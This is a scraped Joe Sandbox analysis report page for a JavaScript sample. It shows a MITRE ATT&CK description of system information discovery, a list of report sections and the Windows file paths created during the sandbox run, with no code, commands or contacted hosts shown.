Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27311161302332319656.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c59aa6d2-a128-48c4-943b-5baf4c538323.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7820

Windows Analysis Report
27311161302332319656.js